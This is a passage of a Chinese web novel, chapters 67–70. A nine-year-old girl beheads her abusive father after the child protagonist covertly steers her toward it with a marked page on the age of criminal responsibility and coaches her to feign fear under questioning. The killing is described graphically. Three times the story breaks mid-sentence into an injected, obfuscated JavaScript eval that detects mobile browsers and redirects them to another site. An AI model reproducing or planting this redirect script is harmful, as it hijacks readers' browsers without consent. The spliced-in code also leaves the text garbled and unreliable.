某一天放学回来,房间里没有妈妈的声音了。 她知道, 人是会被打死的。 闵朝言,救救我。 她垂下眼,不让眼泪在雪里结冰。 闵朝言,救救我妈妈。 她在心里哭。 67. 芳芳纺织厂(19) 周一早晨,闵朝言被叫到会议室。 主位上坐着厂长,顺延下去是书记,还有两名副厂长,这是芳芳纺织厂最顶层的领导班子了。 两名副厂长中间空了一个位置。 闵长风无端端心底一空。 “小闵啊,过来了?” 厂长年近六十,带着银框眼镜,长相十分和善,总是笑盈盈的。 “厂长好。叫我过来,是有什么工作需要我汇报吗?” 闵长风舌根发紧。 “不着急,你先坐。” 厂长笑呵呵说着,抬手一指。 她手指的方位,刚好就是两名副厂长中间的空位。 “啊,好。” 闵长风走过去,心下惴惴。 “小闵啊,你是车间一线的主任,应该也知道,现在咱们虽然工人数量少了,但是指标任务还是很重的。尤其是自负盈亏的文件下来了,咱们厂今年的效益还是不太理想啊……” 厂长喝了一口茶,慢悠悠说道。 “小郝前些日子工作调动去了沪城,空出来一个副厂长的位置。非常时期,我也希望更多给年轻人机会,你今年才三十吧?” 她问。 厂长嘴里说的小郝,就是之前负责工程的郝副厂长,也是郝升祺的母亲。 “是的,厂长。” 闵长风点头。 她虽然是车间主任,但和厂长这个层次的领导也并不常能说上话,只是每季度汇报工作的时候听几句提点敲打而已。 “三十岁好呀,年轻,有干劲,跟得上时代。” 厂长笑呵呵说。 闵长风觉得自己汗都要下来了。 “厂里有一个新的重大项目,小郝走了,我们这几个老家伙也不知道该怎么开展,正发愁呢。刚好你在下岗动员这个任务上,做得非常好,我们想着年轻人学东西快,也给你个机会历练。” 厂长的声音很温和。 这温和却沉重得闵长风抬不起头,尤其是说到“下岗动员”这四个字时,闵长风死死咬住下唇,尝到一点血腥气。 “特殊时期,任务匆忙,没给你办就职仪式,等一切尘埃落定了,再补上也不迟。你说呢?” 厂长看着闵长风,声音慢悠悠的: “闵副厂长。” 周一清晨, 母亲父亲都早早离开家去上班,闵朝言醒过来。 她昨天看书看到很晚,现在还觉得没有睡够。 闵朝言是个行动力很强的孩子,她想当法医,就决定开始学。虽然现在没有办法学“医”,但她打算从“法”的部分入手。 隋觉荆给她买了一本《刑法大全》。可能因为是儿童科普读物,所以里面还有案例和插图,像故事书一样,很有意思。 闵朝言洗漱完毕,揉着眼睛吃完早餐,准备穿鞋下楼和隋觉荆汇合,一起去上学。 她打开门,正要离开,却见到橙色的纸盒安静被放在门口,精致的丝绸绑带下压着一张贺卡: [小孩,还喜欢吃糖吗?] 龙飞凤舞的字迹,笔锋凌厉洒脱,最后一笔高高跃起,力透纸背。 没有落款,但闵朝言心里浮现出一个名字。 他回来了吗? 她解开蝴蝶结,打开纸盒,里面塞满了用玻璃纸裹着的橘子软糖,看上去比三年前他送给闵朝言的那些要高级多了。 在糖的海洋中,放着一个小小的黑色盒子。 打开盒子,里面是一部小灵通。 闵朝言知道这个东西,这是最近才开始流行的,闵长风自己也有一部,说是方便车间里有事联系她。 小灵通是开着机的,一按屏幕就会亮起,里面已经存了一个号码。 闵朝言想了想,没有马上打过去,只是抓起一把橘子软糖放进书包里。 “你来了。” 隋觉荆正站在单元楼门口等着,看到闵朝言,不自觉笑起来,声音里带着一点鼻音。 “嗯。” 闵朝言点头。 “你感冒了?” 她问。 “可能有点着凉。” 隋觉荆点点头,接过她的书包。 “我给你带了包子,我们一起吃?” 他递给闵朝言一个塑料袋。 塑料袋被放在心口捂着,现在还是热气腾腾的。 “好啊。” 闵朝言点头。 她其实不饿,但隋觉荆眼睛亮闪闪看过来的时候,她总觉得像只大狗在摇尾巴,如果拒绝的话,他连耳朵都会耷拉下来。 “嗯!” 隋觉荆也拿出一个包子,两个人一起吃起来。 他好像特意配合着闵朝言的节奏,吃得很慢。 冬天,教室里开着暖气,门窗紧密,学生们都昏昏欲睡,闵朝言也忍不住揉眼睛,趴在桌子上。 她坐在第一排,这个动作很显眼。 老师脸色转阴。 隋觉荆瞬间从椅子上掉下来,发出一声痛呼。 “老师,我脚崴了!” 他大声说,可怜巴巴的样子。 “隋觉荆!” 老师将粉笔重重放在讲台上,发出“啪”一声响。 “你真能耐啊,人家是平地摔,你平坐着就能摔?!给谁打掩护呢?啊?!” 她眉头拧起来。 “嘶——老师,真崴了!” 他一脸痛苦地保住腿。 “行了,赶紧去校医室!谁……” 老师也担心真的出事,打算随手点一个人。 “我送他去。” 闵朝言站起来,拉着隋觉荆就往外走。 “哇哦~” 班上有同学起哄。 “老师,他们俩要去谈恋爱啦!” 有男生高声说。 初中班上常常有这种玩笑话,如果是同龄的同学,可能还会有点不好意思,但因为闵朝言和隋觉荆之间明显的年龄差,所以玩笑反而只是玩笑。 “闭嘴!你再扰乱课堂,就站着上课!” 老师呵道。 校医今天去开会,校医室里没有人。 闵朝言看着隋觉荆给自己的脚踝贴上膏药。 “你为什么要摔?” 她问。 隋觉荆又不是屁股上长了刺,会平白无故从凳子上掉下来,只可能是自己故意的。 “我感觉老师马上要叫你罚站了。” 隋觉荆揉着脚踝,低头乖乖回答。 “罚站有什么。” 闵朝言不在意。 冬天课堂上打瞌睡的学生很多,站起来清醒清醒很常见,甚至算不上惩罚。 因为跳级年龄小加上成绩好,闵朝言在老师们当中非常受宠,即使是脾气最差的老师也不会对她发火。 “你不喜欢站啊。” 隋觉荆说着,穿上鞋。 “而且你应该也想出来逛逛吧?在教室多无聊啊。” 他笑。 为这个理由就把能自己的脚崴一下吗?不疼吗? 闵朝言有点迷惑。 她为什么老是交到这种奇怪的朋友? “困了,要不要睡一会儿?” 隋觉荆拍拍床。 闵朝言确实一整天都没精神,打了个哈欠,躺在了上面。 “我给你讲故事好不好?” 隋觉荆的声音在她耳边响起。 闵朝言没有回答,她困得睁不开眼睛,视线渐渐模糊了。 “从前呀,有一个小孩,他本来有一个很幸福的家庭,他的妈妈,爸爸,全家人,都是很厉害的治安官。他想,以后要像家里的大人一样,做一个保护别人的人。” “后来,爸爸为了保护别人死了,爷爷为了保护别人死了,还有其他人……渐渐的,家里就只剩下他和妈妈了。” “妈妈不想见他了,因为他和死掉的爸爸长得很像,每次见到他,妈妈就会伤心。” “我还要保护别人吗?他想。那些人都讨厌我啊。为了讨厌我的人去死,听上去不是很傻吗?” “他想,他可能没有大人们那么厉害,他只想保护……” 隋觉荆的声音渐渐弱下去,他低下头,看着已经陷入梦乡的闵朝言,抬起手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710254|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她盖上被子。 “他只想保护,那个最重要的人。” 他说。 闵朝言一觉醒来,已经到了放学的时间。 “走吧,我们去吃烤肠!你爱吃的,很辣很辣的那种烤肠。今天你给我买好不好?” 隋觉荆站起来,忽略脚踝的刺痛,对着她伸出手。 “书包呢?” 闵朝言揉着眼睛问。 “老师让同学给我们送过来了。” 隋觉荆回答。 “哦,那走吧。” 闵朝言点头。 隋觉荆牵住她的手。 “为什么突然要牵手?我们又不是小学生过马路。” 闵朝言走在路上,问他。 她经常和隋觉荆走在一起,两个人并排走,为了照顾她的身高,个子比较高的隋觉荆会走得很慢。 “因为冬天很冷啊。” 隋觉荆笑着回答。 “那戴手套啊。” 闵朝言另一只手上带着精致的麂皮手套。 隋觉荆握住她的手,低下头,不说话。 也不放手。 - “这是白百福给你的纸条。” 曲让尘递过来一个纸星星。 “她要做什么?” 闵朝言接过来,拆开。 自从白百福搬走之后,闵朝言和她的接触就不多,或者说,几乎没有任何接触。 闵朝言自己没有意识到,但她其实会对见不到面的人迅速降温。 就比如说,她现在其实已经不是太记得白百福的样子了。 “她想让你帮忙。” 曲让尘坐在闵朝言身边,转过头专心地看着她的侧脸。 闵朝言正在看纸条上的内容。 几行字,写得不是很好看,但每一个笔划都深深印在纸里,可见写字的人在当时的心情。 闵朝言把纸条收起来,轻轻哼着歌。 “好听。” 曲让尘说。 其实不好听,跑调了,跑得非常远。 “我决定帮她!” 闵朝言笑着说。 “嗯。” 曲让尘点头。 他知道闵朝言会帮白百福的,就像闵朝言当时也帮助了他一样。 她喜欢这种帮助,像是冒险游戏一样。 “要怎么帮她?” 曲让尘问。 “很简单啊,你等着。” 闵朝言笑了一下。 她回到家里,拿出一本书,在其中一页做了标注,然后将整张纸撕了下来,折成一个纸星星。 “你把这个给白百福。” 闵朝言把纸星星递给曲让尘。 曲让尘认识的字不多,加上纸星星上的文字本来就已经错位,他看不出来那上面是什么内容。 不过字很小,密密麻麻的。 “嗯。” 他点头。 第二天放学,这枚纸星星被放在白百福手中。 “阿言说了,这个可以帮你。” 曲让尘说。 “这个,怎么帮我?闵朝言还说别的了吗?我可以去找她吗?我想和她说话,我想打电话……” 白百福一开始还很急切,说到最后,声音突然又低下去。 她打不了电话,她家里的电话已经欠费停机了。 “阿言说了,你看这个就可以了。” 曲让尘还是说。 “如果你决定听她的话,才可以给她打电话。” 他很认真。 白百福握着手里的纸星星,回到座位上悄悄打开。把头垂得很低。 “啊!” 她低低叫了一声。 “白百福,你怎么了?” 她的同桌问。 “没,没事!” 她慌乱地摇头,把纸星星塞进自己的书包里。 没事的,没事的, 要这么做吗?不用这么做吗?要这么做吗…… 她做得到吗? 白百福用力咬着自己的手指,直到上面有红色渗出。 68. 芳芳纺织厂(20) “长风!长风——!!” 凌晨四点,房门被锤得震响,外面那人的声音凄厉。 闵长风从睡梦中被惊醒,匆忙套上衣服,鞋都没来得及穿,赤脚打开房门。 是程新。 她脸上身上都是血痕,头发被扯掉一大片,头皮暴露出来,一片赤白上红痕遍布,像是被灼烧后的雪地。 “长风,长风……” 她红着眼睛,仿佛再也无力支撑,双膝重重砸到地上。 “咚”一声,骨头裂开的声音叫人牙酸。 “程新,怎么了?怎么了这是?” 闵长风大惊,昔日好友这幅凄惨模样叫她不禁眼眶发热,忙伸手去扶。 “长风,救救我,救救我的孩子!” 程新却不肯起,她伸出手死死抓住闵长风的手臂,声嘶力竭。 “救救我的孩子!救救百福吧!!” 咚!咚!咚! 她的头狠狠磕在地上,一声一声,毫不犹豫,不敢停歇。 “程新?程新!!” 闵长风吓得脸都白了,使出吃奶的力气才将程新从地上薅起来。 她紧紧抱住程新,眼中闪着泪光,声音强撑着泪意,只问: “你得先告诉我发生了什么,我才能帮你。程新,先说话!为了百福,你也要冷静下来!” 为了百福,为了百福…… 程新眼中涌出大颗大颗的泪珠,她狠狠掐着自己的手,声音依然破碎断裂,却很尽力地忍住了哭嚎。 “百福,她……她不是故意,她是想保护我,她是个好孩子!她不是故意的……” 程新咬住自己的指节,直到那上面有红色的血迹渗出。 事故发生在一个小时前。 今天放学后,白百福跟着奶奶去菜市场捡剩菜,她们运气很不错,一颗被丢弃的半截白菜中间还有没发烂的芯儿。 打开家门时,迎接她们的却是久违的肉香。 程新的丈夫,老白炖了一只整鸡,桌上甚至还有红烧肉,热腾腾的食物摆在桌上,好像家里又有了点温馨的味道。 白百福红着眼睛,埋头吃了好大一碗饭,撑得肚子紧绷绷,走路时候像只小企鹅,摇摇晃晃。 程新沉默着坐在桌子上,一口饭也没吃。 “妈妈,你吃肉。” 白百福给程新夹了一块肉。 “妈妈不饿,百福吃吧。” 程新垂眼,嘴角扯出一个寡淡的笑容。 “你安心吃吧,你妈今晚上要去吃香喝辣了。” 老白哼笑一声,咬着红烧肉。 他吧唧嘴咀嚼的声音很响亮,那双肥厚的嘴上布满油光,蠕动着,大笑时,露出里面被烟渍熏得黑黄的牙齿。 白百福忽然什么也不想吃了, 胃里的肉成了冷掉的油,让她直反胃。 程新没说话,她也笑了一声,却不知道是在笑谁。 原本不是这样的。 她,她的人生,她的丈夫,原本都不是这样的。 初中毕业之后,程新接替母亲的位置,成为芳芳纺织厂的正式工人,十九岁那年就在撮合下,和厂里的临时工老白结了婚。 那时候老白还是小白,虽然没有正式工名额,但是人很肯干,比起那些闷头葫芦,他嘴很甜,对程新也很好,两个人约会的时候,他会带程新去吃小吃,租电影碟片,两个人一起看月亮落下,太阳升起。 有孩子之后,小白不像以前一样顾家了,他总说忙,程新体谅他,也从不说什么。 小白对白百福这个女儿不满意,不满意她是个女儿。 程新心里知道,但小白不直说,她就只能当作不知道。 日子不就是平平淡淡地过吗,大家都是这样的。 程新在心里这样想着,对外,她依然是那个开朗热情,话多嘴碎的“程大嘴”。 她能忍下去。 下岗时,给女儿转学时,搬到婆婆家时,甚至在被老白几次暴打之后,被迫接下了张总名片时,她都觉得, 自己能忍下去。 ——原来她不能。 在被丈夫又一次扯住头发砸到墙上时,程新才知道。 “什么不去?怎么又不去了?我钱都拿了!程新,你什么意思?!” 老白暴怒的声音掀翻房顶。 “我不去!姓白的,我不去!你个贱货贱皮子,你去卖自己!老娘不去,不去!” 程新尖叫着拿起武器。 这次她拿起的不是擀面杖。 “你个娘们还敢和老子动刀?你以为自己几斤几两?!” 老白脸上愤怒的火焰燃烧着。 程新看着站在自己对面的男人,被血迹模糊的视线中,她仿佛看见他脸上的人皮在燃烧中被融化,露出里面那个狰狞的怪物来。 程新突然笑了。 她没说话,拿起刀就砍过去。 胳膊,大腿,肚子,脑袋…… 程新突然不怕了,她怕什么呢?她砍的也不是人啊。 是一头怪物。 “程新?程新!?程新!!!” 男人在狭小破旧的家里躲避着。 身上伤口传来的疼痛,让餐桌上喝的半斤白酒也从他脑子里蒸发了。 “不去了,不去了!程新你停下!我以后都听你了!你是姑奶奶!程新?程新!” 他大喊着。 这次是在求饶。 不能停,不能停,停下了又会变成以前的样子,怪物是不会改的—— “妈妈?” 白百福被吵醒,打开房门,安静地看着她。 “……百福。” 程新僵在原地。 “妈妈,你不能这样做。” 白百福的小脸苍白,她的声音颤抖: “你不能杀人,你不能……” 被硬生生扯掉一把头发都没落泪的程新,此刻却控制不住自己的眼泪奔流。 “妈妈,妈妈不是,妈妈错了,你别害怕。” 她将手中的刀扔下。 哐当—— 金属落地的声音。 “百福,你别怕妈妈……” 她的心比声音更加剧烈地颤抖着。 白百福缓缓向母亲走过去。 一步,两步,她的脸上眼泪落下,她的手心被汗水浸湿。 “妈妈,你是大人,你不能杀人,你——” 白百福的动作比父亲更快。 她抢到了那把落在地上的刀。 “白百福?我是你爹!白百福——!” 咚—— 刀刃砍在胸口。 不行,不够深。 白百福抬手抹掉喷涌到脸上的血液,眼神空洞。 要在脖子。 她双手握着刀把,又一次重重砍下去。 咚—— 刀刃卡在脊椎骨中,发出刺耳的声音。 一半。 只砍掉了一半。 白百福死死握着刀把,想把刀拿出来,可她的力气不够大,刀刃依然被卡在脖子上。 不行,要都砍掉!都砍掉!她说过要都砍掉! 白百福红着眼睛再次举起刀。 咚——! 男人的头颅滚落在地上。 那双肥厚的嘴永远不会再咀嚼任何东西了。 “我做到了,我做到了……你看到了吗,我做到了……” 菜刀再次落地,白百福看着双手上的血迹,眼神空茫,露出一个笑容。 她让大家, 变得幸福一点了吗? 她怀里的纸星星被血迹浸湿, 一点点,被红色浸满。 闵长风从程新破碎的哭泣中拼出事件的原貌,脸上一片死白。 “就说是我杀的,我本来就打算杀了那个畜生!是我杀的!长风,你能不能,能不能帮我把百福藏起来?” 程新死死抓着闵长风的手,声音颤抖。 “我去自首,你、你把她送到农村,到哪里都行,你帮我把她藏起来,给她一口饭就行,一口饭就行……你救救她……” 程新的眼睛布满血丝,仿佛下一刻就要爆裂。 房门被打开。 闵朝言揉揉眼睛,站在门口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715215|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “程阿姨,你来了。” 她说。 仿佛没看见程新此刻的凄惨模样,她声音如常。 程新的呼吸瞬间顿住,她的脊背发凉,被那双眼睛锁定的瞬间,一种巨大的恐惧袭来。 不,不是,是她现在才害怕了才会这样。 程新低下头,大口呼吸着。 闵长风的视线也顿住。 “言言,你先回去睡吧。” 她站起来,挡在程新身前。 “白百福怎么了吗?我听见你们说她的名字。她还好吗?” 闵朝言抬头看母亲,神色平静中带上一点疑惑。 “这件事和你没关系,言言,先进屋睡觉吧?你明天还要上学呢,迟到就不好了。” 闵长风蹲下来,握住女儿的手,尽力将声音放柔。 “隋觉荆会来接我。” 闵朝言说。 隋觉荆, 治安局局长的儿子。 闵长风知道他。 “回去睡吧。” 闵长风没有接话,更没有提出“隋觉荆”这个人,及其身份,她只是重复这句话。 “好吧。” 闵朝言点点头,轻轻叹了口气。 好可惜,她本来想安慰一下她们俩的。 但既然她们不想和小孩子说话,那她也没办法了。 “我进去了,程阿姨,再见。” 她笑着对程新摆摆手,转身进屋了。 她回到自己的房间里,打开台灯,坐在书桌上,桌面上放着她才看到一半的《刑法大全》。 闵朝言翻到被撕去一页的缺口上,默默看着,忽然笑出声来。 “她做到了。好棒。” 黑暗的房间中,闵朝言的眼睛闪闪发亮。 真好,她又帮助了一个朋友呢。 闵朝言现在搬回到了小房间,她看着自己对面窗户里那被烧焦的空房间,轻轻叹了一口气。 只是可惜程新家不住在她的房间对面, 不然,她就可以看见了。 就像三年前一样。 她低下头,看着自己手中的书本,缺页前的条款数字定格在第二十八条。 第二十九条是什么? [【第二十九条——刑事责任年龄】 …… 已满十四周岁不满十六周岁的人,犯故意杀人、故意伤害致人重伤或者死亡……的,应当负刑事责任。 ……] 看着母亲离去的身影,白百福坐在血泊里,默默打开自己已经变成红色的纸星星。 那是一本书其中的一页,语言简明,画着插图。 在插图上,有人用红笔写了简单的一行数字: [9 白百福用了很久才看懂。 不,其实没有用很久, 她从第一眼就看懂了。 只是她用了很久,才“决定”看懂。 白百福小心地将纸星星重新折起,转过身走回房间里,把纸星星藏在奶奶的铁皮罐里。 奶奶一直躺在黑暗中,没有发出声音,白百福不知道她是不是醒着的。 但是不重要。 白百福放好纸星星,走到电话机前。 家里的电话机早就已经欠费停机,直到今天老白才交了钱重新开通。 白百福按下治安局的电话。 “阿姨,你好。” 在接线员接通之后,白百福声音软软地打招呼。 “我有事情的,不是乱打。” 她小声回答电话里的问题。 “我爸爸死了,我要报警。” 她说。 “不是的,我不是在恶作剧。” 她有点委屈地皱皱鼻子。 “是的,我的爸爸死了。” 她认真地回答。 “我杀的呀。” 她轻声说。 她举着电话小声哭起来,觉得这种不被相信的感觉真让人难过。 突然,她又反应过来。 她不用再像小猫一样哭了。 白百福号啕大哭着。 69. 芳芳纺织厂(21) 尽管一个孩子打来的“自首电话”听上去实在像是拙劣的恶作剧, 但电话线对面传来的小童哭声还是让接线员按下了出动铃。 治安局内正为流窜杀人犯案件全员加班,已经连熬半个月大夜。 工作相对没那么忙的何法医接下了这个任务。 她带着自己的小徒弟打开门,又在小徒弟的呕吐声中,按下了隋局长的电话号码。 “隋姐,你可能……要亲自来一趟。” 她的声音中有着极轻微的颤抖。 已经有着十几年刑事法医经验的何法医没想到,居然还有场景能让她胃里涌出酸水。 隋局长一路油门踩到底,来到了报案人所在地。 不, 是案发现场。 她站在门外,看着里面。 狭小昏暗的客厅里,老旧破碎的灯泡咿咿呀呀闪烁着并不明亮的光,水泥铺成的地面上,暗红色的血液黏稠蔓延,仿佛某种只存在于志怪小说中的怪物生长出触角,正在缓慢地挣扎逃离。 逃离去哪里? 头颅被粗糙地砍断,即使是非法医专业的隋局长,也能从参差不齐的创面和地上那把刀刃已经被崩裂的菜刀上看出来,这颗头颅被砍了不知道几次,才被完全地从躯干上分离。 头颅不远处,无头的尸体躺在地上,血液缓慢地,缓慢地,从他的半截脖子里涌出来。 那场景仿佛呼吸, 在“呼吸间”汇聚成一滩血泊。 血泊的中央,站着一个很瘦弱的小孩子。 小孩子穿着皱皱巴巴的旧衣服,头发被剪得很短,齐耳的短发后面露出一点青色的发茬。 她站在原地,脸上手上被黏稠的血液模糊成一片,隋局长看不清她的长相。 小孩脸上的血痕被泪痕冲刷出一道道痕迹,斑驳狼狈。 隋局长却分不清她是在哭, 还是在笑。 凌晨四点,闵长风的家门再次被敲响。 “长官,她睡着了,你们能……让她休息一下吗?” 闵长风打开门,脸色苍白地问。 闵朝言进屋没多久,程新便哭昏过去,至今没有醒来。 闵长风不知道该不该叫醒她。 “抱歉。” 何法医摇摇头,动作坚决但并不粗暴,叫醒程新,压着对方的肩膀,给她戴上手铐。 程新没有挣扎,她的眼睛此刻大得出奇,眼白几乎完全占据了眼眶。 “长官,是我,是我杀的,一切都是我做的,把我抓走吧,枪毙我吧……” 她不断地重复着这句话,眼神空荡。 “是我杀的,枪毙我吧……是我杀的,我杀的……” 她的声音很小,哑而密,像是某种刻写着血腥誓言的咒语。 “发生了什么,我们会仔细调查取证。” 何法医面无表情地说着,半晌,又说: “你的孩子在等你。” 治安局审讯室内,白百福安静地坐在椅子上。 她个子矮,坐在凳子上,脚尖碰不到地面,摇摇晃晃地悬着,她闭上眼,想象自己正坐在秋千上。 “如果有人问你问题,你只需要一直哭,说自己很害怕。” 她的脑海中,一个声音响起。 平淡,清冷,漠不关心, 曲让尘的声音。 “你九岁,而且是很不聪明的九岁,就是会害怕到什么也想不起来。” 他说。 白百福认真地听着他说的话。 这不是属于曲让尘的句子。 他只是一个人形留言机。 但白百福相信他, 就像她相信那些话真正的主人一样。 “百福,你还记得发生了什么吗?” 隋局长坐在她对面,尽全力放柔声音。 “我好害怕,阿姨……” 白百福抬起头,眼泪瞬间溢满落下,糊满整张脸。 啊,好简单。 白百福原本准备了很多方法哭出来,不眨眼睛,偷偷掐大腿,或者想象自己最不想看见的画面。 但在这一瞬间,她发现一切都好简单。 她不需要做任何事情, 眼泪就已经不断涌出来。 - 第二天,闵朝言睡到日上三竿才醒过来,她揉着眼睛走出房门,发现隋觉荆正站在餐桌边上,正在摆放餐具。 “你醒了?” 他对着闵朝言露出一点笑。 嗯? 闵朝言打了个哈欠,看着客厅中间挂着的时钟,那上面的时针指向十一。 “你不去上学吗?” 闵朝言在椅子上坐下,咬着已经被剥好的煮鸡蛋。 “我今天早上来接你的时候,阿姨说你昨晚睡得很晚,今天没有那么早叫醒你。” 隋觉荆在她对面坐下,表情和煦。 他没有提起,闵长风看到自己时那一瞬间奇怪的脸色。 “她好像很着急要走,又担心你一个人在家,问我能不能照顾你一下,然后我们一起上学。” “不过,我想,如果你睡得很晚,今天早上应该睡饱才行。” 他眨了眨眼,笑着回答。 作为治安局局长的儿子,(曾经)最负责任最诚实可靠的班长,老师理所当然地相信了他“代闵朝言家长请假”的电话。 “你等下去想上学还是出去玩?我陪你。” 他说。 闵朝言眨了眨眼睛,喝着豆浆没说话。 她一半的心想见见曲让尘,和他分享一下自己对于帮助了朋友的快乐,但另一半的心又不希望让隋觉荆和曲让尘见面。 “或者我们在家?我陪你。我之前送你的《刑法大全》你看了吗,我给你读?” 隋觉荆又问。 ——刑法大全。 闵朝言脑海中闪过那缺了一页的刑法大全,喝豆浆的动作顿住。 “出去玩。我们现在就出去玩!” 她动作利落地放下碗,看着隋觉荆。 果然还是小孩子。 隋觉荆抿着微微扬起的唇,从口袋里拿出两张游乐园的门票。 重平市规划了很多新开发区,这个游乐园去年就开始建,上周终于开放。 隋觉荆从不缺钱花,家里放着现金的盒子就在鞋柜上任他取用,七十块钱一张的门票,他眼睛都不会眨。 “我们走吧?” 他笑着说。 “我们去游乐园之前,能不能去一趟你妈妈那里?” 闵朝言眨巴眨巴眼睛,眸子发亮。 “嗯?” 隋觉荆一愣。 “我想看看法医怎么工作的,可以吗?” 闵朝言眼中流露出向往。 她太好奇了。 白百福完成了最重要的目的,但是她的方式是不是如同自己期待的那样呢? 能整个砍下来吗? 程新昨晚的哭诉和啜泣中,故事太过破碎凌乱,闵朝言又隔着门,没有把细节听得很清楚。 闵朝言可太好奇了。 “我可以带你过去,但是……你应该看不到何阿姨工作。” 隋觉荆有一点犹豫。 他倒不是担心母亲发现自己逃学,隋局长从来无暇在意这些小事。 他担心的是—— 如果闵朝言发现自己没有办法把她带进法医真正的工作区域,会不会很失望? 她会不会觉得他没有用? 隋觉荆死死咬住下唇。 “啊……” 闵朝言果然垂下眼,露出了一点点失望来。 “我,我知道何阿姨的工作室窗户在哪里,我们可以藏在树丛里,偷偷看一眼。” 过于急切证明自己的男孩,甚至没有反应过来他刚才说了什么。 “真的吗?” 闵朝言眼睛一亮。 ——! 隋觉荆的表情僵住。 怎么就一时冲动口不择言了?? 难道真的带闵朝言去看尸体吗?? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16719867|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今年九岁的闵朝言? 隋觉荆,你怎么能这么做!? 男孩用力掐着自己的虎口,疼痛拷问着他的心。 “走吗?” 闵朝言带着期待的笑容,看着隋觉荆。 隋觉荆从未见过她这一面。 期待,渴望,兴奋,这样如同真正孩子一样的表情。 即使是在普遍大了她两三岁的初中班级里,闵朝言也是个显得格外成熟的孩子,同学们讨论的话题总是很难引起她的兴趣。 隋觉荆也很难引起她的兴趣。 她的呼吸放缓了。 闵朝言从未这样看过他。 没有人这样看过他。 “走。” 他听见自己说。 - 闵长风坐在治安局里,等待着有谁能出来告诉她程新的消息。 金属椅子冰冷,闵长风的心也是。 她不停想起今天早上的场景,她打开房门,隋觉荆站在门外,露出礼貌的笑容。 “闵阿姨,我来接朝言上学。” 他说。 “……好。” 闵长风沉默了好一会儿才说出这句话。 她想说的太多,反而一句也说出不来了。 她想问隋觉荆,你妈妈昨晚回家了吗?她是不是接到一个程家的案子了?那是我的朋友,我的朋友很可怜,她能不能……帮帮她? 但闵长风什么也没有说,她的喉咙被沉重的愧疚堵住了。 问了,她对不起女儿;不问,她对不起朋友。 “言言昨晚睡得晚,你等会再叫醒她,可以吗?” 她最终只是说。 她沉默着走上去做笔录的路。 “闵女士?你的笔录做完了,可以回去了。” 带着银边眼镜的治安官走过来,将闵长风从回忆中惊醒。 “我是程新的朋友,她怎么样了?百福怎么样了?” 闵长风声音急切。 “她的状态不好,孩子也是。我们现在需要把程女士暂时羁押,至于孩子……家里有人能照顾她吗?” 不论如何,她们不可能把九岁的白百福羁押在局里。 “我能带她先回去吗?程新的母亲和父亲都已经……” 闵长风低声说。 “她家里有人。” 一个苍老的声音从她背后传来。 闵长风这才发现,自己不远处的座位上,也坐着一个老人。 老人满头斑驳华发,很瘦小,灰扑扑的一个人,几乎消失在阴影里。 “我是百福奶奶,我带她回去。” 老人的声音寂寥虚弱。 白百福的奶奶? 那岂不是——! 闵长风瞪大了眼睛。 “啊,您要不要先休息一会儿?” 何法医似乎也有些应对不及。 白百福的奶奶,就是白百福父亲的母亲,也就是死者的母亲。 她的孙女,是亲手砍下了她儿子头颅的人。 何法医不想把人往坏处想, 可是……她也不敢让老人带走白百福。 那是一个只有九岁的孩子啊。 可脑海中浮现的,除了这句话,还有那尸身分离的尸体,和站在血泊中的小女孩。 那是一个只有九岁的孩子啊。 何法医的目光游移了。 “刚才,做笔录,你们隋局长和我说过了,我可以写那个叫什么……谅解书。” 老人站起来,她撑着一节塑料管子当拐杖,步履蹒跚。 “我写。不是百福的错,是他爸,他爸咳——咳咳——!先要砍人的。” 老人苍老的声音说着,忽然剧烈地咳嗽起来。 她的头发凌乱,落在脸颊边上,深深的皱纹里,有眼泪浸湿的痕迹。 “我的孙女,是个好孩子,她会陪我捡菜叶子,捡纸壳子……她胆子那么小,一定吓坏了。” “让我带她回去吧。” “我们娘仨,只想活着。” 70. 芳芳纺织厂(22) 烈阳将雪地晃成一片刺眼的白。 卡兹卡兹。 雪地上留下两行脚印。 两个身影狗狗祟祟地走到窗外,借着树影遮掩自己的身形。 “就在这里了,你真的要看吗?” 隋觉荆小声问。 “嗯!” 闵朝言用力点头,脖子努力伸长了,担心错过窗户里的内容。 “你这样看不见的。” 隋觉荆说着,将她抱高了一点,举过自己头顶。 “里面有人!” 闵朝言的兴奋溢于言表。 有人? 隋觉荆的手臂抖了一下。 “你别动!” 闵朝言一把抓住隋觉荆的手臂,不让他继续抖。 树影遮盖了阳光,玻璃窗泛着极浅的绿色,停尸房里站着一个人。 是何法医。 她带着头套口罩,戴上乳胶手套的动作平静专注。 闵朝言不自觉看出了神。 何法医打开停尸柜,拉出台上的尸体。 